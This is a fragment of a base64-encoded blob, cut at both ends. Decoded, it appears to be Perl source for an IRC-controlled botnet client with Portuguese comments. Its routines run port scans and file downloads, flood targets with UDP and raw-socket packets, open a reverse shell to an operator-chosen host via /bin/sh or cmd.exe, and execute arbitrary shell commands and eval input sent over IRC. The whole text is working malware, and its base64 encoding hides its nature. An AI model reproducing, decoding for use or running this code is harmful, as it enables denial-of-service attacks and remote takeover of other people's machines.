19zZXJ2ZXJzeyRJUkNfY3VyX3NvY2tldH17J25pY2snfSA9ICRtZXVuaWNrOwogICAgICAgfQogICB9IGVsc2lmICgkc2VydmFyZyA9fiBtL15cOiguKz8pXHMrNDMzL2kpIHsKICAgICAgICRtZXVuaWNrID0gZ2V0bmljaygpOwogICAgICAgbmljaygiJG1ldW5pY2siKTsKICAgfSBlbHNpZiAoJHNlcnZhcmcgPX4gbS9eXDooLis/KVxzKzAwMVxzKyhcUyspXHMvaSkgewogICAgICAgJG1ldW5pY2sgPSAkMjsKICAgICAgICRpcmNfc2VydmVyc3skSVJDX2N1cl9zb2NrZXR9eyduaWNrJ30gPSAkbWV1bmljazsKICAgICAgICRpcmNfc2VydmVyc3skSVJDX2N1cl9zb2NrZXR9eydub21lJ30gPSAiJDEiOwogICAgICAgZm9yZWFjaCBteSAkY2FuYWwgKEBjYW5haXMpIHsKICAgICAgICAgc2VuZHJhdygiSk9JTiAkY2FuYWwiKTsKICAgICAgIH0KICAgfQp9CgpzdWIgYmZ1bmMgewogIG15ICRwcmludGwgPSAkX1swXTsKICBteSAkZnVuY2FyZyA9ICRfWzFdOwogIGlmIChteSAkcGlkID0gZm9yaykgewogICAgIHdhaXRwaWQoJHBpZCwgMCk7CiAgfSBlbHNlIHsKICAgICAgaWYgKGZvcmspIHsKICAgICAgICAgZXhpdDsKICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgaWYgKCRmdW5jYXJnID1+IC9ecG9ydHNjYW4gKC4qKS8pIHsKICAgICAgICAgICAgIG15ICRob3N0aXA9IiQxIjsKICAgICAgICAgICAgIG15IEBwb3J0YXM9KCIyMSIsIjIyIiwiMjMiLCIyNSIsIjUzIiwiODAiLCIxMTAiLCIxNDMiLCI2NjY1Iik7CiAgICAgICAgICAgICBteSAoQGFiZXJ0YSwgJXBvcnRhX2Jhbm5lcik7CiAgICAgICAgICAgICBmb3JlYWNoIG15ICRwb3J0YSAoQHBvcnRhcykgIHsKICAgICAgICAgICAgICAgIG15ICRzY2Fuc29jayA9IElPOjpTb2NrZXQ6OklORVQtPm5ldyhQZWVyQWRkciA9PiAkaG9zdGlwLCBQZWVyUG9ydCA9PiAkcG9ydGEsIFByb3RvID0+ICd0Y3AnLCBUaW1lb3V0ID0+IDQpOwogICAgICAgICAgICAgICAgaWYgKCRzY2Fuc29jaykgewogICAgICAgICAgICAgICAgICAgcHVzaCAoQGFiZXJ0YSwgJHBvcnRhKTsKICAgICAgICAgICAgICAgICAgICRzY2Fuc29jay0+Y2xvc2U7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICB9CiAgICAgICAgICAgICBpZiAoQGFiZXJ0YSkgewogICAgICAgICAgICAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6UG9ydGFzIGFiZXJ0YXM6IEBhYmVydGEiKTsKICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsIlBSSVZNU0cgJHByaW50bCA6TmVuaHVtYSBwb3J0YSBhYmVydGEgZm9pIGVuY29udHJhZGEuIik7CiAgICAgICAgICAgICB9CiAgICAgICAgICAgfQoKICAgICAgICAgICBlbHNpZiAoJGZ1bmNhcmcgPX4gL15kb3dubG9hZFxzKyguKilccysoLiopLykgewogICAgICAgICAgICBnZXRzdG9yZSgiJDEiLCAiJDIiKTsKICAgICAgICAgICAgc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOkRvd25sb2FkIGRlICQyICgkMSkgQ29uY2x1LmRvISIpIGlmICgkZXN0YXRpc3RpY2FzKTsKICAgICAgICAgICAgfQoKICAgICAgICAgICBlbHNpZiAoJGZ1bmNhcmcgPX4gL15mdWxscG9ydHNjYW5ccysoLiopXHMrKFxkKylccysoXGQrKS8pIHsKICAgICAgICAgICAgIG15ICRob3N0bmFtZT0iJDEiOwogICAgICAgICAgICAgbXkgJHBvcnRhaW5pY2lhbCA9ICIkMiI7CiAgICAgICAgICAgICBteSAkcG9ydGFmaW5hbCA9ICIkMyI7CiAgICAgICAgICAgICBteSAoQGFiZXJ0YXMsICVwb3J0YV9iYW5uZXIpOwogICAgICAgICAgICAgZm9yZWFjaCBteSAkcG9ydGEgKCRwb3J0YWluaWNpYWwuLiRwb3J0YWZpbmFsKQogICAgICAgICAgICAgewogICAgICAgICAgICAgICBteSAkc2NhbnNvY2sgPSBJTzo6U29ja2V0OjpJTkVULT5uZXcoUGVlckFkZHIgPT4gJGhvc3RuYW1lLCBQZWVyUG9ydCA9PiAkcG9ydGEsIFByb3RvID0+ICd0Y3AnLCBUaW1lb3V0ID0+IDQpOwogICAgICAgICAgICAgICBpZiAoJHNjYW5zb2NrKSB7CiAgICAgICAgICAgICAgICAgcHVzaCAoQGFiZXJ0YXMsICRwb3J0YSk7CiAgICAgICAgICAgICAgICAgJHNjYW5zb2NrLT5jbG9zZTsKICAgICAgICAgICAgICAgICBpZiAoJGVzdGF0aXN0aWNhcykgewogICAgICAgICAgICAgICAgICAgc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOlBvcnRhICRwb3J0YSBhYmVydGEgZW0gJGhvc3RuYW1lIik7CiAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICB9CiAgICAgICAgICAgICB9CiAgICAgICAgICAgICBpZiAoQGFiZXJ0YXMpIHsKICAgICAgICAgICAgICAgc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOlBvcnRhcyBhYmVydGFzOiBAYWJlcnRhcyIpOwogICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsIlBSSVZNU0cgJHByaW50bCA6TmVuaHVtYSBwb3J0YSBhYmVydGEgZm9pIGVuY29udHJhZGEuIik7CiAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgICMgRHVhcyBWZXJzLmVzIHNpbXBsaWZpY2FkYSBkbyBtZXUgVHIweCA7RAogICAgICAgICAgICBlbHNpZiAoJGZ1bmNhcmcgPX4gL151ZHBccysoLiopXHMrKFxkKylccysoXGQrKS8pIHsKICAgICAgICAgICAgICByZXR1cm4gdW5sZXNzICRwYWNvdGVzOwogICAgICAgICAgICAgIHNvY2tldChUcjB4LCBQRl9JTkVULCBTT0NLX0RHUkFNLCAxNyk7CiAgICAgICAgICAgICAgbXkgJGFsdm89aW5ldF9hdG9uKCIkMSIpOwogICAgICAgICAgICAgIG15ICRwb3J0YSA9ICIkMiI7CiAgICAgICAgICAgICAgbXkgJHRlbXBvID0gIiQzIjsKICAgICAgICAgICAgICBteSAkcGFjb3RlOwogICAgICAgICAgICAgIG15ICRwYWNvdGVzZTsKICAgICAgICAgICAgICBteSAkZmltID0gdGltZSArICR0ZW1wbzsKICAgICAgICAgICAgICBteSAkcGFjb3RhID0gMTsKICAgICAgICAgICAgICB3aGlsZSAoKCRwYWNvdGEgPT0gIjEiKSAmJiAoJHBhY290ZXMgPT0gIjEiKSkgewogICAgICAgICAgICAgICAgc2xlZXAgMTsKICAgICAgICAgICAgICAgICRwYWNvdGEgPSAwIGlmICgodGltZSA+PSAkZmltKSAmJiAoJHRlbXBvICE9ICIwIikpOwogICAgICAgICAgICAgICAgJHBhY290ZT0kcmFuZCB4ICRyYW5kIHggJHJhbmQ7CiAgICAgICAgICAgICAgICAkcG9ydGEgPSBpbnQocmFuZCA2NTAwMCkgKzEgaWYgKCRwb3J0YSA9PSAiMCIpOwogICAgICAgICAgICAgICAgc2VuZChUcjB4LCAwLCAkcGFjb3RlLCBzb2NrYWRkcl9pbigkcG9ydGEsICRhbHZvKSkgYW5kICRwYWNvdGVzZSsrIGlmICgkcGFjb3RlcyA9PSAiMSIpOwogICAgICAgICAgICAgIH0KICAgICAgICAgICAgICBpZiAoJGVzdGF0aXN0aWNhcykKICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgIHNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDpcMDAyVGVtcG8gZGUgUGFjb3Rlc1wwMDI6ICR0ZW1wbyIuInMiKTsKICAgICAgICAgICAgICAgc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOlwwMDJUb3RhbCBkZSBQYWNvdGVzXDAwMjogJHBhY290ZXNlIik7CiAgICAgICAgICAgICAgIHNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDpcMDAyQWx2byBkb3MgUGFjb3Rlc1wwMDI6ICQxIik7CiAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CgogICAgICAgICAgICBlbHNpZiAoJGZ1bmNhcmcgPX4gL151ZHBmYWl4YVxzKyguKilccysoXGQrKVxzKyhcZCspLykgewogICAgICAgICAgICAgIHJldHVybiB1bmxlc3MgJHBhY290ZXM7CiAgICAgICAgICAgICAgc29ja2V0KFRyMHgsIFBGX0lORVQsIFNPQ0tfREdSQU0sIDE3KTsKICAgICAgICAgICAgICBteSAkZmFpeGFpcD0iJDEiOwogICAgICAgICAgICAgIG15ICRwb3J0YSA9ICIkMiI7CiAgICAgICAgICAgICAgbXkgJHRlbXBvID0gIiQzIjsKICAgICAgICAgICAgICBteSAkcGFjb3RlOwogICAgICAgICAgICAgIG15ICRwYWNvdGVzOwogICAgICAgICAgICAgIG15ICRmaW0gPSB0aW1lICsgJHRlbXBvOwogICAgICAgICAgICAgIG15ICRwYWNvdGEgPSAxOwogICAgICAgICAgICAgIG15ICRhbHZvOwogICAgICAgICAgICAgIHdoaWxlICgkcGFjb3RhID09ICIxIikgewogICAgICAgICAgICAgICAgc2xlZXAgMTsKICAgICAgICAgICAgICAgICRwYWNvdGEgPSAwIGlmICgodGltZSA+PSAkZmltKSAmJiAoJHRlbXBvICE9ICIwIikpOwogICAgICAgICAgICAgICAgZm9yIChteSAkZmFpeGEgPSAxOyAkZmFpeGEgPD0gMjU1OyAkZmFpeGErKykgewogICAgICAgICAgICAgICAgICAkYWx2byA9IGluZXRfYXRvbigiJGZhaXhhaXAuJGZhaXhhIik7CiAgICAgICAgICAgICAgICAgICRwYWNvdGU9JHJhbmQgeCAkcmFuZCB4ICRyYW5kOwogICAgICAgICAgICAgICAgICAkcG9ydGEgPSBpbnQocmFuZCA2NTAwMCkgKzEgaWYgKCRwb3J0YSA9PSAiMCIpOwogICAgICAgICAgICAgICAgICBzZW5kKFRyMHgsIDAsICRwYWNvdGUsIHNvY2thZGRyX2luKCRwb3J0YSwgJGFsdm8pKSBhbmQgJHBhY290ZXNlKysgaWYgKCRwYWNvdGVzID09ICIxIik7CiAgICAgICAgICAgICAgICAgIGlmICgkZmFpeGEgPj0gMjU1KSB7CiAgICAgICAgICAgICAgICAgICAgJGZhaXhhID0gMTsKICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgIH0KICAgICAgICAgICAgICBpZiAoJGVzdGF0aXN0aWNhcykKICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgIHNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDpcMDAyVGVtcG8gZGUgUGFjb3Rlc1wwMDI6ICR0ZW1wbyIuInMiKTsKICAgICAgICAgICAgICAgc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOlwwMDJUb3RhbCBkZSBQYWNvdGVzXDAwMjogJHBhY290ZXNlIik7CiAgICAgICAgICAgICAgIHNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDpcMDAyQWx2byBkb3MgUGFjb3Rlc1wwMDI6ICRhbHZvIik7CiAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CgogICAgICAgICAgICAjIENvbmJhY2sucGwgYnkgRG9taW51cyBWaXMgYWRhcHRhZGEgZSBhZGljaW9uYWRvIHN1cG9ydGUgcHJhIHdpbmRvd3MgO3AKICAgICAgICAgICAgZWxzaWYgKCRmdW5jYXJnID1+IC9eY29uYmFja1xzKyguKilccysoXGQrKS8pIHsKICAgICAgICAgICAgICBzbGVlcCAxOwogICAgICAgICAgICAgIG15ICRob3N0ID0gIiQxIjsKICAgICAgICAgICAgICBteSAkcG9ydGEgPSAiJDIiOwogICAgICAgICAgICAgIG15ICRwcm90byA9IGdldHByb3RvYnluYW1lKCd0Y3AnKTsKICAgICAgICAgICAgICBteSAkaWFkZHIgPSBpbmV0X2F0b24oJGhvc3QpOwogICAgICAgICAgICAgIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0YSwgJGlhZGRyKTsKICAgICAgICAgICAgICBteSAkc2hlbGwgPSAiL2Jpbi9zaCAtaSI7CiAgICAgICAgICAgICAgaWYgKCReTyBlcSAiTVNXaW4zMiIpIHsKICAgICAgICAgICAgICAgICRzaGVsbCA9ICJjbWQuZXhlIjsKICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgc29ja2V0KFNPQ0tFVCwgUEZfSU5FVCwgU09DS19TVFJFQU0sICRwcm90bykgb3IgZGllICJzb2NrZXQ6ICQhIjsKICAgICAgICAgICAgICBjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSBvciBkaWUgImNvbm5lY3Q6ICQhIjsKICAgICAgICAgICAgICBvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsKICAgICAgICAgICAgICBvcGVuKFNURE9VVCwgIj4mU09DS0VUIik7CiAgICAgICAgICAgICAgb3BlbihTVERFUlIsICI+JlNPQ0tFVCIpOwogICAgICAgICAgICAgIHN5c3RlbSgiJHNoZWxsIik7CiAgICAgICAgICAgICAgY2xvc2UoU1RESU4pOwogICAgICAgICAgICAgIGNsb3NlKFNURE9VVCk7CiAgICAgICAgICAgICAgY2xvc2UoU1RERVJSKTsKCiAgICAgICAgICAgICAgaWYgKCRlc3RhdGlzdGljYXMpCiAgICAgICAgICAgICAgewogICAgICAgICAgICAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6XDAwMkNvbmVjdGFuZG8tc2UgZW1cMDAyOiAkaG9zdDokcG9ydGEiKTsKICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgZWxzaWYgKCRmdW5jYXJnID1+IC9eb2xkcGFja1xzKyguKilccysoXGQrKVxzKyhcZCspLykgewogICAgICAgICAgICAgc2xlZXAgMTsKICAgICAgICAgICAgcmV0dXJuIHVubGVzcyAkcGFjb3RlczsKICAgICAgICAgICAgIG15ICgkZHRpbWUsICVwYWNvdGVzKSA9IGF0dGFja2VyKCIkMSIsICIkMiIsICIkMyIpOwogICAgICAgICAgICAgJGR0aW1lID0gMSBpZiAkZHRpbWUgPT0gMDsKICAgICAgICAgICAgIG15ICVieXRlczsKICAgICAgICAgICAgICRieXRlc3tpZ21wfSA9ICQyICogJHBhY290ZXN7aWdtcH07CiAgICAgICAgICAgICAkYnl0ZXN7aWNtcH0gPSAkMiAqICRwYWNvdGVze2ljbXB9OwogICAgICAgICAgICAgJGJ5dGVze299ID0gJDIgKiAkcGFjb3Rlc3tvfTsKICAgICAgICAgICAgICRieXRlc3t1ZHB9ID0gJDIgKiAkcGFjb3Rlc3t1ZHB9OwogICAgICAgICAgICAgJGJ5dGVze3RjcH0gPSAkMiAqICRwYWNvdGVze3RjcH07CiAgICAgICAgICAgICB1bmxlc3MgKCRlc3RhdGlzdGljYXMpCiAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgIHNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDpcMDAyIC0gU3RhdHVzIC1cMDAyIik7CiAgICAgICAgICAgICAgIHNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDpcMDAyVGltcFwwMDI6ICRkdGltZSIuInNlY3VuZGUuIik7CiAgICAgICAgICAgICAgIHNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDpcMDAyVG90YWwgcGFja2V0XDAwMjogIi4oJHBhY290ZXN7dWRwfSArICRwYWNvdGVze2lnbXB9ICsgJHBhY290ZXN7aWNtcH0gKyAgJHBhY290ZXN7b30pKTsKICAgICAgICAgICAgICAgc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOlwwMDJUb3RhbCBieXRlc1wwMDI6ICIuKCRieXRlc3tpY21wfSArICRieXRlcyB7aWdtcH0gKyAkYnl0ZXN7dWRwfSArICRieXRlc3tvfSkpOwogICAgICAgICAgICAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6XDAwMkZsb29kXDAwMjogIi5pbnQoKCgkYnl0ZXN7aWNtcH0rJGJ5dGVze2lnbXB9KyRieXRlc3t1ZHB9ICsgJGJ5dGVze299KS8xMDI0KS8kZHRpbWUpLiIga2JwcyIpOwogICAgICAgICAgICAgfQogICAgICAgICAgIH0KICAgICAgICAgICBleGl0OwogICAgICAgfQogIH0KfQoKc3ViIGlyY2FzZSB7CiAgc2xlZXAgMTsKICBteSAoJGtlbSwgJHByaW50bCwgJGNhc2UpID0gQF87CgogICBpZiAoJGNhc2UgPX4gL15qb2luICguKikvKSB7CiAgICAgaigiJDEiKTsKICAgfQogICBlbHNpZiAoJGNhc2UgPX4gL15wYXJ0ICguKikvKSB7CiAgICAgIHAoIiQxIik7CiAgIH0KICAgZWxzaWYgKCRjYXNlID1+IC9ecmVqb2luXHMrKC4qKS8pIHsKICAgICAgbXkgJGNoYW4gPSAkMTsKICAgICAgaWYgKCRjaGFuID1+IC9eKFxkKykgKC4qKS8pIHsKICAgICAgICBmb3IgKG15ICRjYSA9IDE7ICRjYSA8PSAkMTsgJGNhKysgKSB7CiAgICAgICAgICBwKCIkMiIpOwogICAgICAgICAgaigiJDIiKTsKICAgICAgICB9CiAgICAgIH0gZWxzZSB7CiAgICAgICAgICBwKCIkY2hhbiIpOwogICAgICAgICAgaigiJGNoYW4iKTsKICAgICAgfQogICB9CiAgIGVsc2lmICgkY2FzZSA9fiAvXm9wLykgewogICAgICBvcCgiJHByaW50bCIsICIka2VtIikgaWYgJGNhc2UgZXEgIm9wIjsKICAgICAgbXkgJG9hcmcgPSBzdWJzdHIoJGNhc2UsIDMpOwogICAgICBvcCgiJDEiLCAiJDIiKSBpZiAoJG9hcmcgPX4gLyhcUyspXHMrKFxTKykvKTsKICAgfQogICBlbHNpZiAoJGNhc2UgPX4gL15kZW9wLykgewogICAgICBkZW9wKCIkcHJpbnRsIiwgIiRrZW0iKSBpZiAkY2FzZSBlcSAiZGVvcCI7CiAgICAgIG15ICRvYXJnID0gc3Vic3RyKCRjYXNlLCA1KTsKICAgICAgZGVvcCgiJDEiLCAiJDIiKSBpZiAoJG9hcmcgPX4gLyhcUyspXHMrKFxTKykvKTsKICAgfQogICBlbHNpZiAoJGNhc2UgPX4gL152b2ljZS8pIHsKICAgICAgdm9pY2UoIiRwcmludGwiLCAiJGtlbSIpIGlmICRjYXNlIGVxICJ2b2ljZSI7CiAgICAgICRvYXJnID0gc3Vic3RyKCRjYXNlLCA2KTsKICAgICAgdm9pY2UoIiQxIiwgIiQyIikgaWYgKCRvYXJnID1+IC8oXFMrKVxzKyhcUyspLyk7CiAgIH0KICAgZWxzaWYgKCRjYXNlID1+IC9eZGV2b2ljZS8pIHsKICAgICAgZGV2b2ljZSgiJHByaW50bCIsICIka2VtIikgaWYgJGNhc2UgZXEgImRldm9pY2UiOwogICAgICAkb2FyZyA9IHN1YnN0cigkY2FzZSwgOCk7CiAgICAgIGRldm9pY2UoIiQxIiwgIiQyIikgaWYgKCRvYXJnID1+IC8oXFMrKVxzKyhcUyspLyk7CiAgIH0KICAgZWxzaWYgKCRjYXNlID1+IC9ebXNnXHMrKFxTKykgKC4qKS8pIHsKICAgICAgbXNnKCIkMSIsICIkMiIpOwogICB9CiAgIGVsc2lmICgkY2FzZSA9fiAvXmZsb29kXHMrKFxkKylccysoXFMrKSAoLiopLykgewogICAgICBmb3IgKG15ICRjZiA9IDE7ICRjZiA8PSAkMTsgJGNmKyspIHsKICAgICAgICBtc2coIiQyIiwgIiQzIik7CiAgICAgIH0KICAgfQogICBlbHNpZiAoJGNhc2UgPX4gL15jdGNwZmxvb2RccysoXGQrKVxzKyhcUyspICguKikvKSB7CiAgICAgIGZvciAobXkgJGNmID0gMTsgJGNmIDw9ICQxOyAkY2YrKykgewogICAgICAgIGN0Y3AoIiQyIiwgIiQzIik7CiAgICAgIH0KICAgfQogICBlbHNpZiAoJGNhc2UgPX4gL15jdGNwXHMrKFxTKykgKC4qKS8pIHsKICAgICAgY3RjcCgiJDEiLCAiJDIiKTsKICAgfQogICBlbHNpZiAoJGNhc2UgPX4gL15pbnZpdGVccysoXFMrKSAoLiopLykgewogICAgICBpbnZpdGUoIiQxIiwgIiQyIik7CiAgIH0KICAgZWxzaWYgKCRjYXNlID1+IC9ebmljayAoLiopLykgewogICAgICBuaWNrKCIkMSIpOwogICB9CiAgIGVsc2lmICgkY2FzZSA9fiAvXmNvbmVjdGFccysoXFMrKVxzKyhcUyspLykgewogICAgICAgY29uZWN0YXIoIiQyIiwgIiQxIiwgNjY2Nyk7CiAgIH0KICAgZWxzaWYgKCRjYXNlID1+IC9ec2VuZFxzKyhcUyspXHMrKFxTKykvKSB7CiAgICAgIERDQzo6U0VORCgiJDEiLCAiJDIiKTsKICAgfQogICBlbHNpZiAoJGNhc2UgPX4gL15yYXcgKC4qKS8pIHsKICAgICAgc2VuZHJhdygiJDEiKTsKICAgfQogICBlbHNpZiAoJGNhc2UgPX4gL15ldmFsICguKikvKSB7CiAgICAgIGV2YWwgIiQxIjsKICAgfQogICBlbHNpZiAoJGNhc2UgPX4gL15lbnRyYVxzKyhcUyspXHMrKFxkKykvKSB7CiAgICBzbGVlcCBpbnQocmFuZCgkMikpOwogICAgaigiJDEiKTsKICAgfQogICBlbHNpZiAoJGNhc2UgPX4gL15zYWlccysoXFMrKVxzKyhcZCspLykgewogICAgc2xlZXAgaW50KHJhbmQoJDIpKTsKICAgIHAoIiQxIik7CiAgIH0KICAgZWxzaWYgKCRjYXNlID1+IC9ec2Fpci8pIHsKICAgICBxdWl0KCk7CiAgIH0KICAgZWxzaWYgKCRjYXNlID1+IC9ebm92b25pY2svKSB7CiAgICBteSAkbm92b25pY2sgPSBnZXRuaWNrKCk7CiAgICAgbmljaygiJG5vdm9uaWNrIik7CiAgIH0KICAgZWxzaWYgKCRjYXNlID1+IC9eZXN0YXRpc3RpY2FzICguKikvKSB7CiAgICAgaWYgKCQxIGVxICJvbiIpIHsKICAgICAgJGVzdGF0aXN0aWNhcyA9IDE7CiAgICAgIG1zZygiJHByaW50bCIsICJFc3RhdC5zdGljYXMgYXRpdmFkYXMhIik7CiAgICAgfSBlbHNpZiAoJDEgZXEgIm9mZiIpIHsKICAgICAgJGVzdGF0aXN0aWNhcyA9IDA7CiAgICAgIG1zZygiJHByaW50bCIsICJFc3RhdC5zdGljYXMgZGVzYXRpdmFkYXMhIik7CiAgICAgfQogICB9CiAgIGVsc2lmICgkY2FzZSA9fiAvXnBhY290ZXMgKC4qKS8pIHsKICAgICBpZiAoJDEgZXEgIm9uIikgewogICAgICAkcGFjb3RlcyA9IDE7CiAgICAgIG1zZygiJHByaW50bCIsICJQYWNvdGVzIGF0aXZhZG9zISIpIGlmICgkZXN0YXRpc3RpY2FzID09ICIxIik7CiAgICAgfSBlbHNpZiAoJDEgZXEgIm9mZiIpIHsKICAgICAgJHBhY290ZXMgPSAwOwogICAgICBtc2coIiRwcmludGwiLCAiUGFjb3RlcyBkZXNhdGl2YWRvcyEiKSBpZiAoJGVzdGF0aXN0aWNhcyA9PSAiMSIpOwogICAgIH0KICAgfQp9CnN1YiBzaGVsbCB7CiAgc2xlZXAgMTsKICByZXR1cm4gdW5sZXNzICRhY2Vzc29zaGVsbDsKICBteSAkcHJpbnRsPSRfWzBdOwogIG15ICRjb21hbmRvPSRfWzFdOwogIGlmICgkY29tYW5kbyA9fiAvY2QgKC4qKS8pIHsKICAgIGNoZGlyKCIkMSIpIHx8IG1zZygiJHByaW50bCIsICJEaXJldC5yaW8gaW5leGlzdGVudGUhIik7CiAgICByZXR1cm47CiAgfQogIGVsc2lmICgkcGlkID0gZm9yaykgewogICAgIHdhaXRwaWQoJHBpZCwgMCk7CiAgfSBlbHNlIHsKICAgICAgaWYgKGZvcmspIHsKICAgICAgICAgZXhpdDsKICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgbXkgQHJlc3A9YCRjb21hbmRvIDI+JjEgMz4mMWA7CiAgICAgICAgICAgbXkgJGM9MDsKICAgICAgICAgICBmb3JlYWNoIG15ICRsaW5oYSAoQHJlc3ApIHsKICAgICAgICAgICAgICRjKys7CiAgICAgICAgICAgICBjaG9wICRsaW5oYTsKICAgICAgICAgICAgIHNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDokbGluaGEiKTsKICAgICAgICAgICAgIGlmICgkYyA+PSAiJGxpbmFzX21heCIpIHsKICAgICAgICAgICAgICAgJGM9MDsKICAgICAgICAgICAgICAgc2xlZXAgJHNsZWVwOwogICAgICAgICAgICAgfQogICAgICAgICAgIH0KICAgICAgICAgICBleGl0OwogICAgICAgfQogIH0KfQoKI2V1IGZpeiB1bSBwYWNvdGFkb3J6aW5odSBlIHRhbHouLiBkYWkgY29sb2tlbW8gZWxlIGFraQpzdWIgYXR0YWNrZXIgewogIG15ICRpYWRkciA9IGluZXRfYXRvbigkX1swXSk7CiAgbXkgJG1zZyA9ICdCJyB4ICRfWzFdOwogIG15ICRmdGltZSA9ICRfWzJdOwogIG15ICRjcCA9IDA7CiAgbXkgKCVwYWNvdGVzKTsKICAkcGFjb3Rlc3tpY21wfSA9ICRwYWNvdGVze2lnbXB9ID0gJHBhY290ZXN7dWRwfSA9ICRwYWNvdGVze299ID0gJHBhY290ZXN7dGNwfSA9IDA7CgogIHNvY2tldChTT0NLMSwgUEZfSU5FVCwgU09DS19SQVcsIDIpIG9yICRjcCsrOwogIHNvY2tldChTT0NLMiwgUEZfSU5FVCwgU09DS19ER1JBTSwgMTcpIG9yICRjcCsrOwogIHNvY2tldChTT0NLMywgUEZfSU5FVCwgU09DS19SQVcsIDEpIG9yICRjcCsrOwogIHNvY2tldChTT0NLNCwgUEZfSU5FVCwgU09DS19SQVcsIDYpIG9yICRjcCsrOwogIHJldHVybih1bmRlZikgaWYgJGNwID09IDQ7CiAgbXkgJGl0aW1lID0gdGltZTsKICBteSAoJGN1cl90aW1lKTsKICB3aGlsZSAoIDEgKSB7CiAgICBzbGVlcCAxOwogICAgIGZvciAobXkgJHBvcnRhID0gMTsgJHBvcnRhIDw9IDY1NTM1OyAkcG9ydGErKykgewogICAgICAgJGN1cl90aW1lID0gdGltZSAtICRpdGltZTsKICAgICAgIGxhc3QgaWYgJGN1cl90aW1lID49ICRmdGltZTsKICAgICAgIHNlbmQoU09DSzEsICRtc2csIDAsIHNvY2thZGRyX2luKCRwb3J0YSwgJGlhZGRyKSkgYW5kICRwYWNvdGVze2lnbXB9KysgaWYgKCRwYWNvdGVzID09IDEpOwogICAgICAgc2VuZChTT0NLMiwgJG1zZywgMCwgc29ja2FkZHJfaW4oJHBvcnRhLCAkaWFkZHIpKSBhbmQgJHBhY290ZXN7dWRwfSsrIGlmICgkcGFjb3RlcyA9PSAxKTsKICAgICAgIHNlbmQoU09DSzMsICRtc2csIDAsIHNvY2thZGRyX2luKCRwb3J0YSwgJGlhZGRyKSkgYW5kICRwYWNvdGVze2ljbXB9KysgaWYgKCRwYWNvdGVzID09IDEpOwogICAgICAgc2VuZChTT0NLNCwgJG1zZywgMCwgc29ja2FkZHJfaW4oJHBvcnRhLCAkaWFkZHIpKSBhbmQgJHBhY290ZXN7dGNwfSsrIGlmICgkcGFjb3RlcyA9PSAxKTsKCiAgICAgICAjIERvUyA/PyA6UAogICAgICAgZm9yIChteSAkcGMgPSAzOyAkcGMgPD0gMjU1OyRwYysrKSB7CiAgICAgICAgIG5leHQgaWYgJHBjID09IDY7CiAgICAgICAgICRjdXJfdGltZSA9IHRpbWUgLSAkaXRpbWU7CiAgICAgICAgIGxhc3QgaWYgJGN1cl90aW1lID49ICRmdGltZTsKICAgICAgICAgc29ja2V0KFNPQ0s1LCBQRl9JTkVULCBTT0NLX1JBVywgJHBjKSBvciBuZXh0OwogICAgICAgICBzZW5kKFNPQ0s1LCAkbXNnLCAwLCBzb2NrYWRkcl9pbigkcG9ydGEsICRpYWRkcikpIGFuZCAkcGFjb3Rlc3tvfSsrIGlmICgkcGFjb3RlcyA9PSAxKTsKICAgICAgIH0KICAgICB9CiAgICAgbGFzdCBpZiAkY3VyX3RpbWUgPj0gJGZ0aW1lOwogIH0KICByZXR1cm4oJGN1cl90aW1lLCAlcGFjb3Rlcyk7Cn0KCiMjIyMjIyMjIyMjIyMKIyAgQUxJQVNFUyAgIwojIyMjIyMjIyMjIyMjCgpzdWIgYWN0aW9uIHsKICAgcmV0dXJuIHVubGVzcyAkI18gPT0gMTsKICAgc2VuZHJhdygiUFJJVk1TRyAkX1swXSA6XDAwMUFDVElPTiAkX1sxXVwwMDEiKTsKfQoKc3ViIGN0Y3AgewogICByZXR1cm4gdW5sZXNzICQjXyA9PSAxOwogICBzZW5kcmF